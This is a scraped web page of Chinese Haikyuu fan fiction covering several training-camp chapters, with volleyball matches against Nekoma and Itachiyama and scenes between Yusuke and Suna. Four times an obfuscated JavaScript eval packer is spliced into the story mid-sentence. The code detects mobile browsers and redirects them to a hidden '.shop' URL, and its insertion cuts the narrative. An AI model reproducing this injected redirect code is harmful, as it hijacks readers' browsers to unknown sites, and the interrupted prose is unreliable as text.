北裕介恍然大悟的点点头。 角名伦太郎想了想,还是没忍住嘱咐道:“这次记得多带点东西,待的时间要比上次长一些。” “好的,”北裕介看了看已经欢呼着散开的人群:“去打球吗角名。” 角名伦太郎顿了一下,认命道:“去。” 为什么他认识的人都是排球脑袋呢,和北裕介成功配合了一个梯次进攻的角名伦太郎感觉有点无奈。 “好配合。” 扣球十分顺利的北裕介眼睛都亮了一下,转头去找当事人击掌。 角名伦太郎相当配合的伸出手。 算了,排球脑袋就排球脑袋吧,至少比笨蛋强。 合宿的前一天没有晚训已经算是稻荷崎的传统了,于是很难得的北裕介和北信介到家的时候天还没黑。 北信介顺理成章的接下了做晚饭的工作,北裕介则在一旁打下手。 五分钟后,北信介看了看切的乱七八糟的菜,平静的说道:“裕介。” 北裕介正干的起劲儿,抬起头:“怎么了信介哥?” “你先去外面擦擦桌子吧,这里我自己就好。” 北裕介仔细的看了一下自己切的菜,好像是有点不太美观。 他讪讪的走出厨房,还不忘记给北信介带上了门。 不做饭的人总要做点其他的家务的,于是晚饭后北裕介主动的站起身洗碗。 他感觉他洗的还挺好的,就是不知道信介哥为什么一直盯着他看。 心里碎碎念的北裕介打开房间门扑上床,拿出了一天都没打开的手机。 他手机通讯录里的人少得可怜,上学前只有奶奶和北信介,上学后也只是多了排球部的队友。 北裕介刚想把手机充上电扔到一旁,就收到了角名伦太郎的消息。 【今天记得早点睡。】 【会的,角名也是】 被内涵的北裕介暗戳戳的内涵回去,这次他绝对不会在大巴车上睡觉了。 不过不睡觉也挺难熬的…… 从兵库县到东京很远,大巴要差不多五六个小时,而北裕介最讨厌一直坐车了。 他用头砸了一下前排的椅背,一脸生无可恋的样子。 角名伦太郎照例坐在他旁边扒拉手机:“还有一半的路程了,再坚持一下。” “怎么还有一半啊,我感觉已经过了好久了。” 角名伦太郎思考了两秒,从背包里拿出一个游戏机:“玩吗?” “哎?”北裕介呆了呆:“我不会。” 角名伦太郎帮他打开,找了一个剧情向的游戏:“玩这个吧,很简单,也挺有意思的。” 两个小时后,游戏通关了。 “真厉害,还有一小会就到了,你看看再玩点什么,还是想吃点东西都可以。” 北裕介摇摇头,打了个哈欠:“不玩了,累眼睛。” 角名伦太郎把游戏机收好:“那就歇一会,马上就到了。” 北裕介贴着椅背点点头,头发随着他的动作打成一个卷又慢慢散开。 车里的人都睡了个昏天黑地,黑须法宗拍拍手:“大家醒醒,马上到了,先清醒清醒。” 要不然直接下车容易感冒。 终于快到了,北裕介猛地抬头向后一靠,看向角名伦太郎:“咱们去的是哪个学校来着?” 角名伦太郎盯着他看了两眼,无奈的回答:“井闼山。” 窗外的景色逐渐变得熟悉,他用下巴点了一下外面:“看,到了。” 好大的学校,走下大巴的北裕介看着校门感慨道。 井闼山的教练已经在校门口等着了,稻荷崎众人跟着他来到排球馆。 路途遥远,他们是最后一个到的学校。 打开排球馆大门,其他三个学校的目光齐齐落在他们身上。 作为唯一一所不在东京但是参与这次合宿的学校,他们自然而然的对对方充满了好奇。 一群人穿着黑色的短袖,外面是暗红色的外套,深色的队服显得这群人身形挺拔,明明被所有人若有若无的注视着,但是并没有人表现出局促,反而都一副理所当然的样子。 北信介把拉链拉下一小截,微微偏头:“先去热身吧,一会教练有安排。” “嗨,”宫侑第一个拉长了嗓音回答:“那么走吧各位,让东京的学校看看咱们稻荷崎的实力。” 又在开屏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188824|196998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,这家伙。 宫治脱下外套搭在肩膀上,难得的没去拆台,转身走向馆内的空地。 北裕介站到一个偏后的位置排队等着扣球,眼睛扫过其他学校的队伍。 队服和他们颜色有点像的是音驹,黑白配色的是枭谷,荧光色的是井闼山…… 话说为什么要定一个这种颜色的队服,为了显眼吗? 角名伦太郎轻轻推了推发呆的人:“快到你扣球了。” 北裕介回过神,压低了嗓子说道:“谢谢啦。” “来吧裕介。” 宫侑随意的瞥了,在心里估摸了一下高度。 北裕介助跑两步,右脚蹬地,跳到了一个惊人的高度,球此时正好传到位,他抡起手臂,手掌打在球上就已经是一声巨响,落地后更是反弹了好几米高。 “Nice!” 宫侑满意的点点头,摆摆手示意下一个。 他们的动静不小,吸引了很多人的目光。 佐久早圣臣放下了手里的球,扫了一圈角落里黑色队服的队伍,目光落在一个熟悉的人影身上。 “怎么了圣臣?是有感兴趣的人吗?” 古森元也注意到了他的视线,开玩笑说道。 佐久早圣臣摇摇头,挪开了目光:“一会说不定就能在比赛上见了。” 还真有? 古森元也一愣,看向稻荷崎众人,没找到什么特别眼熟的人,他耸耸肩,算了,一会比赛见吧。 不出意料的——他们今天的对手——不是稻荷崎。 教练抽签的结果是:稻荷崎VS音驹,枭谷VS井闼山。 “音驹——” 北裕介念出纸上的结果,想了想:“那个和咱们队服颜色很像的队伍。” 宫侑挑眉:“对,幸亏是他们的短袖和咱们的外套像,要不然还要换衣服。” 他踮起脚想去看音驹的阵容,无果后撇撇嘴。 他们没在正式比赛对上过音驹,但是多多少少还是有些了解的。 尾白阿兰对着北裕介小声说道:“音驹是防守能力很强的队伍,跟咱们正相反,你是副攻,要当心点对面的二传,他很擅长误导人——” 他的眼神可疑的飘忽了一下,落在自家二传的脸上。 希望阿侑一会不要被气到就好。 北裕介知道这是专门说给他听的,点点头:“谢谢。” 他看了看网对面的那支队伍,他们正在围成一个圈,每个人都伸出拳头对碰,什么赛前仪式吗? 北裕介畏惧的收回视线:“什么时候开始?” 角名伦太郎示意他去看裁判席:“北前辈去猜拳了,马上就能开始。” 周围忽然响起欢呼声,北裕介被吓得眯了眯眼睛,往角名伦太郎身旁躲了躲,两秒后才后知后觉的反应过来,大概是他们先发球。 稻荷崎保持了原阵营,赛前的两秒,角名伦太郎突然凑过去对北裕介说:“这局比赛可能有点累,要是感觉不太对前期就省点劲儿。” 他们今天不是只比一局吗?他不至于一局比赛都坚持不下来吧? 北裕介的疑问还没问出口就被哨声打断了,他只好闭上嘴巴。 稻荷崎VS音驹,一局定胜负。 “请多指教——” 9.合宿(2) 宫侑满意的站在发球位,唯一不满意的就是现在是在别的学校,其他人没有给他保持安静的义务。 不过也没关系,没有特别吵,勉强的可以忍受的范围内。 他眼睛亮亮的看向对面的自由人——夜久卫辅,全国数一数二的自由人,在面对这样强大的盾牌时,发球还是要避开对方才更好吧? 嘁,他才不要。 手臂带动手掌以极大的力道打在球上,带着惊人的速度飞过网。 夜久卫辅尽力稳住身子,但是还是不免被这力道骇人的一球带弯了手臂,他看着飞向后场的球皱皱眉。 稻荷崎VS音驹,1:0。 这球得分了,但是宫侑的面色也没多好看。 他看的清楚,就差一点点就会被对面的自由人接住了。 果不其然,下一个跳飘被夜久卫辅稳稳的送向二传位。 孤爪研磨不需要移动跑位,有大把的时间用来思考,对面的防守能力无疑是很拔尖的,光从身高就比音驹高了一大截。 他转手把球托到了一个熟悉的位置。 黑尾铁朗心领神会,助跑两步后起跳,前方是稻荷崎的三人拦网。 反应很快嘛,看起来像是这个录像里没出现过的新副攻主导的。 既然能把以前的副攻换下去,应该一定会有什么过人之处吧? 他抡圆了手臂,球对准了他面前这个眼生的副攻。 球砸在手臂上的瞬间,北裕介就感觉一片麻木带着疼痛,他若无其事的放下,提醒道:“One touch。” “好一触!” 赤木路成稳稳接住这个削弱了力道的球。 宫侑侧过身子,球顺着他的力道飞向高处。 另一侧,宫治起跳扣球,球的高度精准度都在他的舒适区,他用力扣下这一球。 按理说他这一球得分是不成问题的,不过…… 黑尾铁朗再次起跳拦网,球结结实实的打在他的手臂上,以极快的速度下网。 宫治皱眉,忽略宫侑音量很大的一声“啧”。 “别在意别在意!” 尾白阿兰拍拍宫治的肩膀,顺便也拍了一下一脸不爽的宫侑的。 北裕介的眼睛转了转,无意间看了一眼对面的副攻手,却和对方来了个对视。 本来就是偷看,还被抓了个正着,北裕介感觉自己的心跳都快了两拍。 吓得。 黑尾铁朗也没想到会这样,他上下打量了这个12号一眼,忽然笑了笑:“细胳膊细腿可拦不好网,要好好练习啊——” “刚刚那球要是换成你的队友,说不定就被拦下了。” 明明白白的挑衅,对但是被挑衅的本人却一脸茫然:“我会练得,不过刚刚你那个拦网也差一点就是一触了吧?” 他在网前看的清清楚楚,就是补救的动作没跟上慢了半拍而已。 刚刚准备站出来给自家队友找回场子的宫侑呆滞了两秒,突然扶住北裕介的肩膀笑得不行。 被反将一军了呢,小黑。 孤爪研磨不忍的移开视线,叹了口气。 黑尾铁朗意外的挑挑眉,没有什么被戳穿的不好意思,他换了个姿势杵着:“你的动态视力那么好,判断也不错,是不是训练经常偷懒才这样啊?小心赛后我去跟你的队长告状。” 告吧告吧,北裕介无所谓的移开视线,不再接话茬,他敢说在稻荷崎就没有训练强度比他更大的了。 黑尾铁朗倒是还想接着逗他两句,不过发球的哨声响了,只能退回自己的位置。 音驹的山本猛虎跳发,力道极大的一球震的赤木路成手臂发麻,不过万幸球接的不错。 这一球传给尾白阿兰,势如破竹的一记扣球打碎了拦网,重重的砸在音驹半场。 哨声响后,北裕介退回发球位。 他扫了一眼对面的站位,所有人的位置都比较靠近二传,几乎把孤爪研磨挡了个严严实实。 北裕介眨眨眼睛,只能瞄准了边线处。 夜久卫辅对处理这种球轻车熟路,他鱼跃到位:“研磨!” 孤爪研磨在身后比了个手势,刚刚把球托出去,另一侧的海信行就已经起跳了。 是个很隐蔽的快攻。 轮换到前排的角名伦太郎在离对方还有些距离的地方起跳,硬生生的靠着身体素质拦死这一球,他轻飘飘的落地,因为动作太大而露出一节的腰又被滑落下来的衣服遮住。 角名伦太郎随意的瞥了一眼网对面的几人,头也不回的站回到原位置。 “Nice!”“好拦网角名!” 北裕介慢了一拍,淡定的补上:“Nice block!” 本来打算点头应付的角名伦太郎改口:“嗯。” 双方的比分进行的有来有回,北裕介被轮换下场又被轮换上场,再次站在前排,和他在网前面对面的还是黑尾铁朗。 他思考了一下,在对方开口之前主动移开视线。 不想说话。 黑尾铁朗口边的话被他的动作堵了回去,硬生生被气笑了。 北裕介若无其事的回过头:“发个好球。” 宫治的发球习惯一向是等到最后卡点发出去,北裕介在心里默数,一、二、三…… 到第八秒时,球飞过网。 音驹的一传一向稳定的吓人,球刚好到孤爪研磨头上。 他朝另一侧微微一瞥,进攻意图很明显。 拦网已经半成型了,北裕介莫名感觉有点不对,对面的二传动作一向很隐蔽,他会做这种动作吗? 把自己强行摁在原地,观察到对面手部细微的变化时,北裕介的动作比脑子快的向左侧扑了一下。 匆忙进行的鱼跃姿势并不算标准,膝盖砸地发出沉闷的响声,不过他暂时顾不上这个,手腕向后一勾—— 救到了。 这个一传质量不算好,但是调整对宫侑来说简直轻轻松松,他把球传给宫治,打了个漂亮的快攻,守住了这个来之不易的一分。 角名伦太郎感觉自己的眉心一跳,在得分后赶紧到北裕介旁边拽着人的胳膊把他扶起来:“没事吧?” 北裕介顺着力道站起来,摇摇头。 虽然力道没都卸掉,但是他也不是全力砸上去的,再加上护膝的缓冲,也没感觉到有多疼。 他朝教练席比了个没事的手势。 黑须法宗松了口气,这才安稳的坐下。 北信介皱了皱眉,手指攥了一下椅子又松开。 尾白阿兰上下打量了他一下,确定他不是逞强:“以后鱼跃别这么心急,不过救得好。” 北裕介垂着眼睛点点头。 宫侑不经意的看了一眼对面看上去很瘦弱的不起眼的二传,轻哼了一声。 下一球他就以一个同样的二次进攻回敬了回去,只不过他的力气更大,球落地的速度也更快,没被救起来。 “耶——” 宫侑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193036|196998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顿时眉飞色舞,说实话,以对面自由人的反应他还以为这球会被救起来呢。 出了气又得了分,赚了赚了。 从这球之后,稻荷崎就没有这样轻易的得分的经历了,几乎每个球都要过几个来回之后才落地。 北裕介在空余时间抓紧喘了一口粗气,不免想起角名伦太郎在赛前和他说的话。 ——原来是这么个累法啊。 勉强撑到25:21比赛结束,北裕介刚想放任自己瘫在地上就被一只手捞了起来。 “先别躺,等会就能休息了。” 哦,是角名。 北裕介眨眨眼,感觉汗珠顺着鬓角流了下去,他顺着对方的力道走到一旁。 练习赛后复盘已经算是传统了,黑须法宗说了几个细微的配合上的点就把工作交给了北信介。 他相信信介会把他们管好的。 北信介看着刚刚用来记录的纸,沉思了一会儿。 在一群人越来越紧绷时,北信介开始依次点名。 “裕介。” 北裕介立刻挺直了身子,垂着眼睛回答:“在。” “我记得你的鱼跃练习的很好吧,场上那个球太心急了,不管什么时候都要尽量避免自己受伤。” “是。” “阿侑,不要太意气用事,二次进攻要选好时机。” “角名,前期保持体力可以,但是注意不要再出现差点配合不上的情况了。” …… 不愧是北前辈/信介哥…… 都被多多少少挑出了些毛病的稻荷崎队员同时想道。 很中肯甚至算不上是批评的话,却莫名能让人头皮发麻,后背发凉。 所以当宣布解散了之后,稻荷崎还是一片沉闷。 角名伦太郎倒是没那么大的情绪波动,但是看看虽然面上不显但是确实有些蔫巴的北裕介,他伸出手摸了摸人的后背权当做安慰。 北裕介一把攥住他的手腕,放低了声音抱怨:“我出汗了,这样衣服都粘身上了。” 他用另一只手扯了扯衣服,却没有放下角名伦太郎的手。 角名伦太郎大概了解到这是他有话要说的意思,也没有挣开,一双上挑的眼睛落在了旁边人的身上。 北裕介沉默了半晌,直到旁边的人都陆陆续续的离开,只剩下角名伦太郎时才带着点郁闷的开口:“我不喜欢和音驹打比赛。” 这话是转了个弯说出来的,他想说的其实是:他不喜欢自己打一局比赛就喘的不行的样子,不喜欢远远比不上以前的速度…… 不过这种话显然不能和别人说,只能省略再省略。 半晌没等到回答,北裕介转过头,却突然被拎了起来。 …… 话说这个动作角名伦太郎做的也太熟练了吧? 角名伦太郎定定的看了他两秒后才张嘴:“走吧,去训练。” 啊? 什么? 北裕介茫然的跟上他的脚步,然后才听见回答。 “你不是不喜欢和音驹比赛吗?那就多练习,等到能随随便便打过他们的时候,再看看还会不会讨厌。” 手腕被轻轻的攥着,力道很小,北裕介却莫名感觉发烫。 有点感动又有点不可思议,这竟然是角名说出来的话。 “角名陪我一起吗?” 片刻后,一个排球被递到他手上,然后是专属于角名伦太郎的,慵懒的声音: “嗯。” 10.合宿(3) 很奇怪……角名一直都是一副提不起来劲儿的样子,但是体力却出奇的好。 北裕介手上做了个“停”的手势,扶着球杆喘了两口气。 角名伦太郎顺手把用过的球扔到球框里,看了看明显有点双目无神的人:“休息一会吧。” 北裕介胡乱的点点头,跟着他走到旁边休息的地方。 好累啊…… 拿过角名伦太郎递过来的手帕,北裕介一边擦汗一边想,如果每天都这个强度的练习的话,他有可能活不到在正式赛场打满三场的时候了。 但是他已经答应角名每天一起练习了哎…… “我打听了你的名字,是叫裕介是吧?” 他正愣神。一道声音突然打断了他的思考,然后就是旁边就坐了一个眼熟的、发型夸张的人。 北裕介默默向角名的方向挪了挪,在心里叹了口气。 他很累的时候真的不想说话。 角名伦太郎正在喝水,突然感觉到胳膊一阵热感,是北裕介坐的离他近了些,两个人几乎已经贴在了一起。 他垂了垂眼睛,拧上水杯的盖子,看向突然坐在他们旁边的人:“前辈有事吗?” 黑尾铁朗的眼睛扫过两个人,笑了笑:“别那么紧张嘛,就是找你们晚饭后练习,来吗?” 角名伦太郎和北裕介对视一眼,询问他的意见。 北裕介想了想:“去吧。”反正也没什么事。 黑尾铁朗一副意料之中的表情,他站起身:“那你们歇着吧,我去找找别人。” 就只为了这个吗?北裕介缓慢的眨了一下眼睛,有点懵。 “咱们也走吧,”角名伦太郎站起身,以一个居高临下的角度看着北裕介:“到晚饭时间了。” 北裕介转身看了一圈,排球馆确实空旷了很多,只剩下零星几个人。 信介哥竟然没来叫他,好过分。 他拽着角名伦太郎的手腕站起来,又扯过来两人的外套:“那走吧。” 井闼山的食堂很大,东西也很多,只不过北裕介不能吃的占大部分而已。 他面无表情的买了一点沙拉和牛肉,端着餐盘放在角名伦太郎对面。 角名伦太郎和北裕介都是吃饭困难户,两个人一个比一个吃的困难,好像两具两眼发直的躯壳在咀嚼。 “角名,晚上好啊。” 一道清朗的声音打破了寂静。 饭纲掌虽然在和角名伦太郎打招呼,但是目光却落在了北裕介身上。 “你是北同学对吧?晚上好。” 北裕介抬头,首先夺人眼球的就是那身黄绿色的队服。 他点点头,目光落在了面前的桌子上,回答道:“叫名字就好。” 饭纲掌笑了笑:“对我记得你们的队长也姓北是吧,那我直接叫你裕介吧。” 看着对面的银发少年点点头,他不免有些新奇。 他对稻荷崎还是有些了解的,这个队伍整体的性格都,嗯,比较有特点。 没想到还有一个看着挺乖的。 饭纲掌拿出手机:“要不要加个Line?合宿的学校还有个大群,可以聊天。” 顺利的加上联系方式,饭纲掌从善如流的站起身:“那你们先吃,我先走了。” 看着对方的背影逐渐消失,北裕介探头放低了音量:“那是谁啊?” 角名伦太郎有点无奈:“饭纲掌,井闼山的二传,你跟他聊的挺好结果连他是谁都不知道吗?” 他根本就没怎么说话吧? 北裕介嚼着菜叶子,干脆跳过了这个话题:“信介哥呢?” 刚刚在排球馆没看见,食堂也没见到。 “北前辈去和教练一起收拾宿舍了。” 宫治“啪”的一声把餐盘扔在桌子上,怏怏的说道。 角名伦太郎很少见他这副神情,先拿出手机拍了张照片,然后在对方皱眉前若无其事的发问:“怎么了?” 宫治没回答,随意的摆了摆手。 他不愿意说,角名伦太郎也没继续追问,他站起身:“我和裕介去球馆,一起?” 宫治有点惊讶的上下扫了一眼角名伦太郎,有点怀疑他是不是被什么东西上身了。 当然是看不出来的,他跟着站起来:“去。” 反正也没什么事要做。 球馆里的人出奇的不少。 黑尾铁朗看着他们三个人眼前一亮:“来吧,咱们正好3V3。” 宫治转头看向角名伦太郎,对方淡定的移开了视线。 “行,来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197757|196998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧。” “哎你们三个可不能在一边,”黑尾铁朗叉腰想了想:“裕介跟我在一边怎么样?” 北裕介觉得不怎么样。 没等他说话,黑尾铁朗就一手拽着一个,转眼他就来到了网前。 行吧,北裕介叹了口气,上一秒还不情不愿,下一秒就找准时机拦死了面前的宫治。 拦下队友后还是有点心虚的,他移开视线,不去看宫治,却误打误撞和黑尾铁朗对视了。 黑尾铁朗正在若有所思的看着他。 北裕介忍了两秒,终于忍不下去了:“怎么了吗?” 黑尾铁朗摇头:“没事,接着打。” 没事你倒是别看我啊,北裕介腹诽道。 几球过后,黑尾铁朗终于忍不住出声:“裕介。” “终于组织好语言了吗前辈?” 黑尾铁朗忽略他的阴阳怪气:“你自己有发现吗?你拦网的反应很快啊。” 北裕介再次茫然的看过去:“谢谢?” “但是你的起跳有点问题。” 话音刚落,不止北裕介,角名伦太郎和宫治也齐齐的看向他。 黑尾铁朗回忆了一下北裕介刚刚的动作:“你的重心太靠左了,是之前膝盖或者脚腕受过伤吗?” 而且很奇怪,其他时候没有这种倾向,只有拦网时才会这样。 北裕介身体僵了一下,摇摇头。 他之前确实是右膝盖受过伤,之前的习惯也被带了过来,但是原主并没有。 “要不试试克服一下?总这样的话不仅速度上不来,还会磨损膝盖啊。” 北裕介当然知道这种习惯的后果,他抿抿嘴,为之前觉得黑尾铁朗这个人莫名其妙的想法感到抱歉。 “谢谢你啊前辈。” 黑尾铁朗摆摆手:“没事,毕竟鄙人一向待人热忱,你要是实在想谢谢我的话,咱们加个Line吧。” 虽然不知道这两句话前后有什么关系,但是北裕介还是点点头:“先打完这场?” “那当然了。” 黑尾铁朗挑眉:“对面的小哥也是,积极一点啊。” 角名伦太郎把落在北裕介身上的目光移开,片刻后才意识到是在说他,不情不愿的回答道:“好的前辈。” 11.合宿(4) 这场训练赛直到北信介来到体育馆才结束,他默默的看了一眼时间,然后把几个人拎回了宿舍。 井闼山的宿舍和学校一样豪华,哪怕是匆忙收拾出来的、专门用来合宿的临时宿舍也很不错,干净整洁。 稻荷崎分到的是一排连在一起的两人间。 北信介把钥匙从兜里拿出来:“你们看看谁睡在一起,不过。” 他的眼睛扫视了一圈:“不要睡的太晚了,明天还有训练。” 闻言宫侑从一旁的房间里钻出来,面上还带着点别扭,但语气又格外的理直气壮:“阿治,来跟我睡一间。” 宫治无所谓的耸耸肩,背着包跟着他走了进去。 北信介看向剩下的两人:“角名,裕介,你们两个住一间可以吗?” 角名伦太郎攥了一下背包带子,余光瞥了一眼北裕介,看他没有什么特殊的反应,才随意的点点头:“没问题,北前辈。” “好,”北信介微微笑了笑:“记得早点休息。” “好的信介哥,”北裕介正在拿着钥匙开门,边拧门把手边回头道:“你也是,好好休息,拜拜。” 他走进去,看了一圈这个临时的小房间。 两人间虽然是上下床,但是衣柜,桌子,卫生间都一应俱全。 角名伦太郎拿出湿巾擦了擦桌子,把两个人的包放在上面,然后转头看向一脸新奇的看着上下床的北裕介。 “你想睡上面还是下面?” 虽然对上下床很好奇,但是从来没睡过这种床的北裕介还是选择了下铺。 他不知道自己睡相怎么样,万一真的滚下去就不太好了。 终于收拾好东西洗完漱,北裕介深深的松了口气,毛巾盖在头发上也顾不得擦,随意的半瘫在床上。 角名伦太郎看着他头发上的水滴落在被子上,把床弄湿了一片,感觉自己的太阳穴狠狠一跳。 上次这个感受是什么时候来着?对,队里那对双胞胎在球馆里打架把他的手机打掉了。 至于他为什么离打架的人那么近什么的,不重要。 他有点头疼的看向北裕介:“要吹头发啊。” 桌子上的吹风机他刚刚用完,为了北裕介用着方便,他甚至都没把它从插座上拔下来。 北裕介随手把盖在头上的毛巾和头发摩擦了几下:“擦干了。” 根本就没有好吗? 角名伦太郎再一次无奈的叹了口气,他放下叠了一半的衣服,把人从床上拽下来:“你坐着,我给你吹行吗?” 人已经坐在椅子上了,北裕介才后知后觉的感到不好意思:“要不我自己来吧?” 此时角名伦太郎已经把吹风机打开了,他放低声音的话也被淹没在了轰鸣声中。 于是北裕介眨眨眼,闭上了嘴巴。 宿舍楼内的装潢很贴心,桌子后有一面镜子,应该是方便女生化妆之类的所以放的,角名伦太郎一边扒拉着北裕介的头发一边想到。 这个角度,他正巧能看见此刻正垂着眼睛发呆的人的脸。 北裕介穿的睡衣是黑色的,料子很丝滑,随着吹风机的热风下滑了一点,再加上刚刚洗完澡,被热水烫的微微发红的锁骨若隐若现。 屋子里很热,他把睡衣的袖子向上折了折,露出的小臂纤细,训练出来的薄肌只有在扣球时才比较明显,其他时候都表现出独属于少年的秀气…… 角名伦太郎最后摸了一把顺滑的银白色头发,关上吹风机:“好了。” 北裕介看着镜子里的人,脸被热风吹得发红,但是头发已经蓬松起来了。 他晃晃头,感觉头发也跟着晃动,要比湿着舒服太多了。 “谢谢你,角名。” 角名伦太郎看着他,又突然移开视线:“不客气,早点睡吧。” 于是合宿的第一天,角名同学又喜提失眠。 他在黑暗中对着天花板发呆,在脑海里闪现出一个画面时狠狠的闭上了眼睛。 真是疯了。 * “你还好吗,角名?” 早上被闹钟叫醒的北裕介嘴里含着牙刷,看着床上的角名伦太郎吓了一跳。 对方原来两边微翘的头发现在翘的更夸张了,差一点点就要和头顶持平,再加上浓厚的黑眼圈和眼睛里的红血丝…… 北裕介刷牙的动作顿了顿:“要不我帮你请假吧。” 角名伦太郎摇摇头,顺利的完成了洗漱,晨跑,吃早饭,走路到排球馆这一系列任务。 虽然在这个过程中,北裕介一直看着他摇摇晃晃的身体欲言又止。 “我的天,”宫治被角名伦太郎的黑眼圈吓了个倒仰:“你去做贼了?” 谢谢阿治说出了他的心里话,北裕介斜过身子,去看角名伦太郎的反应。 “没有,认床。” 角名耷拉着脸说道,要是以前看着只是像提不起来力气的话,今天看着就像半死不活了。 行吧,从来没听过角名伦太郎有这个毛病的宫治撇撇嘴,勉强接受了这个说法。 “希望你别在球场上睡着了,小心阿侑又急。” 角名伦太郎半睁开眼睛瞥了他一眼:“和好了?” 这对双胞胎吵架的时候多的是,但是分开吃饭分开训练的时候还真不多,不过即便已经这样了也没隔夜。 宫治翻了个白眼:“谁让他总莫名其妙的脾气那么大。” 就这一次,下次就算是蠢侑给他买一袋子布丁他也不会原谅他的。 北裕介恍然大悟的探过头:“阿治原来你昨天和我们一起练习,是因为和阿侑吵架了啊。” 这个反射弧,角名伦太郎叹了口气,不知道是在为他叹的还是为自己叹的。 他朝北裕介招招手:“走吧,咱们去热热身,一会还有比赛呢。” 而且输的人要在排球馆里鱼跃一周,角名伦太郎对这个倒还好,但是他更想看别的队伍丢脸。 而无论是枭谷还是井闼山都不是好对付的学校。 “哦,”北裕介老老实实的回答:“那去找阿侑吧?” 角名伦太郎的脑子昏昏沉沉的,一不留神就答应了。 行吧。 宫侑意外的挑眉,然后在看清角名伦太郎的时候说出了和宫治一眼的话: “角名你昨天晚上去做贼了吗?” “嗯,”角名伦太郎面无表情的回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210579|196998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 答:“你回去看看你的钱包还在不在。” 宫侑撇嘴:“那肯定还在的,我的钱都给阿治买布丁了。” 他根本就没有钱好吗? 好可怜,北裕介叹为观止:“阿侑你要是没钱吃饭的话我可以借给你。” 角名伦太郎扒拉着他的肩膀,把人转了个圈:“没事,他会去蹭阿治的午饭的。” 不会饿到他的。 北裕介似懂非懂的点点头。 钱虽然没借出去,但是宫侑明显很感动,练习的时候给北裕介托的球都好的夸张。 一点都没顾上旁边的角名伦太郎。 好在集合了,要不然角名伦太郎不知道自己还能不能忍住一些过激的想法。 就比如说把宫侑的新丑照发群里什么的。 “上午井闼山下午枭谷,IH也就这个阵容了吧?” 尾白阿兰看了看抽签的结果感叹。 宫侑笑嘻嘻的回答:“要是IH的话,那就是上午三场下午五场了。” 银岛结跟着点点头:“对,也不知道到时候裕介能不能坚持下来。” 尾白阿兰忍不下去了:“就这么确定咱们能到IH总决赛吗?” 角名伦太郎困的要死,一想到一会要打好久就烦,在一旁冷嘲热讽:“对,万一预选赛就输了呢?” “喂!角名你说什么呢?” 宫侑扑上前捂住他的嘴:“快快快把话收回去。” 角名伦太郎差点被他扑的一个踉跄,他头一次觉得远方走过来的那个身影是他的救星: “北前辈来了。” 宫侑瞬间从他身上闪现下来,若无其事的老老实实站好。 呵呵,角名伦太郎扯了扯嘴角,把北裕介轻轻拽到自己旁边,离宫侑远了一点。 北裕介顺着他的力道往旁边闪,然后和过来的北信介打招呼:“信介哥早上好。” 北信介点点头:“早上好。” “比赛还有半个小时开始,先去热身吧大家。” “是。”“好的。”“收到。” 北裕介听见那个与众不同的回答时忍俊不禁的看了一眼角名伦太郎。 角名伦太郎杵着球框,看上去有点微醺。 赛前微醺肯定是不行的,北裕介无奈的把倚着球框的人拽起来:“去热身了,井闼山都要准备好了。” 角名伦太郎应声看过去,确实,井闼山的人已经在排队扣球熟悉手感了。 他叹了口气,心说你和一群半生不熟的香蕉比什么。 但是不管这样,这群半生不熟的香蕉就是他们马上要面对的对手了。 而且他们输的几率还很大。 “不要说这种长他人志气的话啊!!” 宫侑不爽的喊到。 “是、是。” 角名伦太郎面无表情的敷衍。 宫侑被他气得不行,干脆一把拽过他旁边的北裕介:“走走走,裕介咱们去扣球。” 北裕介被他扯的调换了个方向,猝不及防的和对面的其中一只香蕉对视了。 对方有一头黑色的卷毛,弯曲的恰到好处,露出额头上的两颗痣,就是眼神有点似曾相识。 12.合宿(5) 来不及细想,北裕介先是和宫侑一起配合了几个球热身,然后站到队伍后面等着比赛开始。 毕竟没有什么比接下来的比赛更重要了。 ——即使他们最后没赢。 宫侑絮絮叨叨的念叨着最后佐久早圣臣的那个旋转球,并且把矛头对准了在场的两名副攻。 